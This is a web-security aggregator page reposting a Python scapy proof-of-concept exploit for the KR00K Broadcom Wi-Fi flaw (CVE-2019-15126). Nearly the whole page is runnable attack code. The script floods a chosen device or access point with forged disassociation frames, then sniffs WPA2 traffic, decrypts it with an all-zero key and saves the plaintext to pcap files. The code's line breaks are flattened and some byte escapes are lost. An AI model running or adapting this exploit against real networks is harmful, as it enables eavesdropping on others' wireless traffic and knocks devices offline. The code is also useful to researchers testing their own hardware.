HackDig : Dig high-quality web security articles for hackers

Broadcom Wi-Fi Devices KR00K Information Disclosure

2020-03-21 11:50
# Kr00ker## Experimetal KR00K PoC in python3 using scapy## Description:# This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126), # that allows to decrypt some WPA2 CCMP data in vulnerable devices.# More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning:# * the TK (128 bites all zero) # * the Nonce (sent plaintext in packet header)# * the Encrypted Data## Where:# * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data  # * Decrypted stream starts with "xaaxaax03x00x00x00"# * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes)## This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs.## References:# https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf### Copyright (C) 2020   Maurizio Siddu### This program is free software: you can redistribute it and/or modify# it under the terms of the GNU General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.## You should have received a copy of the GNU General Public License# along with this program.  If not, see <http://www.gnu.org/licenses/>import argparse, threading import datetime, sys, refrom scapy.all import *from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauthfrom Cryptodome.Cipher import AES# Proof of Sympathy ;-)LOGO = """ __ _  ____   __    __  __ _  ____  ____ (  / )(  _  /    /  (  / )(  __)(  _ \ )  (  )   /(  0 )(  0 ))  (  ) _)  )   /(___)(___) __/  __/(___)(____)(___)"""KR00K_PATTERN = b'xaaxaax03x00x00x00'class Krooker:    # Define Krooker class    def __init__(self, interface, target_mac, other_mac, reason, num, delay):        self.interface = interface        self.target_mac = target_mac        self.other_mac = other_mac        self.reason = reason        self.num = num        self.delay = delay    def wpa2_decrypt(self, enc_pkt):        # Try to decrypt the data contained in the sniffed packet        t_key = bytes.fromhex("00000000000000000000000000000000")        # This check is redundant        if not enc_pkt.haslayer(Dot11CCMP):            return None        dot11 = enc_pkt[Dot11]        dot11ccmp = enc_pkt[Dot11CCMP]                # Extract the Packet Number (IV)        PN = "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0)        # Extract the victim MAC address        source_addr = re.sub(':','',dot11.addr2)        # Extract the QoS tid        if enc_pkt.haslayer(Dot11QoS):            tid = "{:01x}".format(enc_pkt[Dot11QoS].TID)        else:            tid = '0'        priority = tid + '0'        # Build the nonce        ccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN)        # Finally try to decrypt wpa2 data         enc_cipher = AES.new(t_key, AES.MODE_CCM, ccmp_nonce, mac_len=8)        decrypted_data = enc_cipher.decrypt(dot11ccmp.data[:-8])        return decrypted_data    def disassociate(self):        # Forge the dot11 disassociation packet        dis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason)        # Loop to send the disassociation packets to the victim device        while True:            # Repeat every delay value seconds            time.sleep(self.delay)            print("["+str(datetime.now().time())+"][+] Disassociation frames (reason "+str(self.reason)+") sent to target "+self.target_mac+" as sender endpoint "+self.other_mac)            sendp(dis_packet, iface=self.interface, count=self.num, verbose=False)    def check_packet(self, sniffed_pkt):        # Filter for WPA2 AES CCMP packets containing data to decrypt        if sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP):            #print("["+str(datetime.now().time())+"][DEBUG] packet tipe:"+str(sniffed_pkt[Dot11].type)+" sub:"+str(sniffed_pkt[Dot11].subtype))            # Decrypt the packets using the all zero temporary key            dec_data = self.wpa2_decrypt(sniffed_pkt)            # Check if the target is vulnerable            if dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN:                print("["+str(datetime.now().time())+"][+] Target "+self.target_mac+" is vulnerable to Kr00k, decrypted "+str(len(dec_data))+" bytes")                hexdump(dec_data)                # Save the encrypted and decrypted packets                print("["+str(datetime.now().time())+"][+] Saving encrypted and decrypted 'pcap' files in current folder")                dec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:]                wrpcap("enc_pkts.pcap", sniffed_pkt, append=True)                wrpcap("dec_pkts.pcap", dec_pkt, append=True)                # Uncomment this if you need a one-shoot PoC decryption                 #sys.exit(0)            #else:                #print("["+str(datetime.now().time())+"][DEBUG] This data decryption with all zero TK went wrong")                #pass    def run_disassociation(self):        # Run disassociate function in a background thread        try:            self.disassociate()        except KeyboardInterrupt:            print("n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")            returndef main():    # Passing arguments    parser = argparse.ArgumentParser(prog="kr00ker.py", usage="%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>")    parser.add_argument("-i", "--interface", required=True, help="The Interface name that you want to send packets out of, it must be set in monitor mode", type=str)    parser.add_argument("-b", "--bssid", required=True, help="The MAC address of the Access Point to test", type=str)    parser.add_argument("-c", "--client", required=True, help="The MAC address of the Client Device to test", type=str)    parser.add_argument("-n", "--number", required=False, help="The Number of disassociation packets you want to send", type=int, default=1)    parser.add_argument("-r", "--reason", required=False, help="The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99", type=int, default=0)    parser.add_argument("-t", "--target", required=False, help="The Target identifier", choices=["ap", "client"], type=str, default="ap")    parser.add_argument("-w", "--wifi_channel", required=False, help="The WiFi channel identifier", type=int, default="1")    parser.add_argument("-d", "--delay", required=False, help="The delay for disassociation frames", type=int, default="4")    args = parser.parse_args()        # Print the kr00ker logo    print(LOGO)    # Start the fun!!    try:        interface = args.interface        ap_mac = args.bssid.lower()        client_mac = args.client.lower()        reason = args.reason        target_channel = args.wifi_channel        n_pkts = args.number        delay = args.delay        # Set the selected channel        if target_channel in range(1, 14):            os.system("iwconfig " + interface + " channel " + str(target_channel))        else:            print("["+str(datetime.now().time())+"][-] Exiting, the specified channel "+target_channel+" is not valid")            exit(1)            # Check if valid device MAC Addresses have been specified        if client_mac == "ff:ff:ff:ff:ff:ff" or ap_mac == "ff:ff:ff:ff:ff:ff":            print("["+str(datetime.now().time())+"][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid")            exit(1)            # Check if a valid reason have been specified        if reason not in range(1,99):            print("Exiting, specified a not valid disassociation Reason ID: "+str(reason))            exit(1)        # Set the MAC address of the target        if args.target == "client":            target_mac = client_mac            other_mac = ap_mac            print("["+str(datetime.now().time())+"][+] The Client device "+target_mac+" will be the target")        else:            target_mac = ap_mac            other_mac = client_mac            print("["+str(datetime.now().time())+"][+] The AP "+target_mac+" will be the target")        # Krooker instance initialization        krooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay)        # Start a background thread to send disassociation packets        k_th = threading.Thread(target=krooker.run_disassociation)        k_th.daemon = True    # This does not seem to be useful        k_th.start()        # Start packet interception        s_filter = "ether src "+str(target_mac)+" and ether dst "+str(other_mac)+" and type Data"        sniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet)        except KeyboardInterrupt:        print("n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")        k_th.join()        sys.exit(0)        except scapy.error.Scapy_Exception:        print("["+str(datetime.now().time())+"][!] Exiting, your wireless interface seems not in monitor mode")        sys.exit(1)        if __name__ == "__main__":    main()


Source: 0010300202-BLW/eussi/moc.ytirucesxc

Read:1412 | Comments:0 | Tags:No Tag

“Broadcom Wi-Fi Devices KR00K Information Disclosure”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools

Tag Cloud